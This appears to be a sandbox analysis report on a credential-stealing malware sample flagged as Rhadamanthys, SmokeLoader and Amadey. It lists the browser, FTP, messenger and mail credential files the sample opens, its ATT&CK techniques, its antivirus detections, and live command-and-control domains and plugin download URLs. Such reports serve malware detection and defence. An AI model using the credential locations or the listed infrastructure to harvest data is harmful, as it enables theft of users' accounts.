Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\oobe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\pxeqUgnJtsPXBRgJNRzYeDaCDpWeTSyKukTdwHTnLgZkvJOmdnzOQNbNaHoGIsp\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\bb8ef99577\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Source: Yara match

File source: Process Memory Space: OpenWith.exe PID: 6300, type: MEMORYSTR

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED

Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F114B8 socket,bind,	2_3_00007DF486F114B8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EDF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,	2_3_00007DF486EDF83C
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_003126B9 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	15_2_003126B9
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_003119C2 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	15_2_003119C2
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EE26B9 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	21_2_00EE26B9
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EE19C2 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	21_2_00EE19C2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	613 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	2 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Command and Scripting Interpreter	Login Hook	1 Registry Run Keys / Startup Folder	1 Software Packing	1 Credentials In Files	39 System Information Discovery	Distributed Component Object Model	21 Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	161 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	613 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e7CLP6462y.exe	58%	ReversingLabs	Win32.Trojan.Rhadamanthys
e7CLP6462y.exe	100%	Avira	TR/Crypt.XPACK.Gen

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\B677.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	100%	Avira	TR/PSW.Agent.uwaig
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	100%	Avira	TR/Agent.ktqfn
C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	100%	Avira	TR/PSW.Agent.uwaig
C:\Users\user\AppData\Roaming\utihrjr	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	100%	Avira	TR/AD.Nekark.nsorh
C:\Users\user\AppData\Local\Temp\B88B.exe	100%	Avira	TR/AD.Nekark.nsorh
C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	100%	Avira	TR/Agent.ktqfn
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\utihrjr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B88B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	70%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	69%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\B677.exe	58%	ReversingLabs	Win32.Trojan.Rhadamanthys
C:\Users\user\AppData\Local\Temp\B677.exe	67%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\B88B.exe	79%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\B88B.exe	76%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	79%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	76%	Virustotal		Browse
C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	69%	Virustotal		Browse
C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	70%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
atillapro.com	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
http://atillapro.com/vsdjcn3khS/index.php?wal=1	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	100%	Avira URL Cloud	malware
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7s	0%	Avira URL Cloud	safe
https://outlook.com_	0%	URL Reputation	safe
http://atillapro.com/vsdjcn3khS/index.php?scr=1	100%	Avira URL Cloud	malware
http://atillapro.com/Mozilla/5.0	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	12%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/index.php?wal=1	12%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	100%	Avira URL Cloud	malware
https://discord.com	0%	Avira URL Cloud	safe
atillapro.com/vsdjcn3khS/index.php	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/index.php	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/index.php?scr=1	12%	Virustotal		Browse
https://atillapro.com/	100%	Avira URL Cloud	malware
https://discord.com	0%	Virustotal		Browse
http://atillapro.com/	100%	Avira URL Cloud	malware
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7s	1%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	12%	Virustotal		Browse
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7sQ=j	0%	Avira URL Cloud	safe
http://atillapro.com/vsdjcn3khS/index.php	15%	Virustotal		Browse
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7skernelbasentdllkernel32GetProcessMitigationPo	0%	Avira URL Cloud	safe
http://atillapro.com/Mozilla/5.0	12%	Virustotal		Browse
atillapro.com/vsdjcn3khS/index.php	15%	Virustotal		Browse
http://atillapro.com/	16%	Virustotal		Browse
https://atillapro.com/	15%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
atillapro.com	185.196.8.137	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/index.php?wal=1	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/index.php?scr=1	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
atillapro.com/vsdjcn3khS/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	low
http://atillapro.com/vsdjcn3khS/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://atillapro.com/	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://discordapp.com	OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7s	dialer.exe, 00000001.00000002.1768797015.00000000055C7000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1767308212.000000000513F000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000002.1767661460.0000000002B0C000.00000004.00000010.00020000.00000000.sdmp, OpenWith.exe, OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879064718.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1878522581.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964068733.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856239118.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854556321.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855629748.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861905023.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1859135390.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977684656.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864009305.000002427DB4B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030715584.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880164060.000002427DB48000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000000C.00000000.2081853581.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2081289450.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2083866838.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17N-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP	OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://atillapro.com/Mozilla/5.0	explorer.exe, 00000014.00000002.2325478380.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 0000000C.00000000.2086005701.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Q	OpenWith.exe, 00000002.00000003.1879722853.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030392047.000002427DACB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856557665.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964129918.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	explorer.exe, 0000000C.00000000.2086005701.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 0000000C.00000000.2086005701.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://discord.com	OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-21	OpenWith.exe, 00000002.00000003.1977656573.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964025211.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
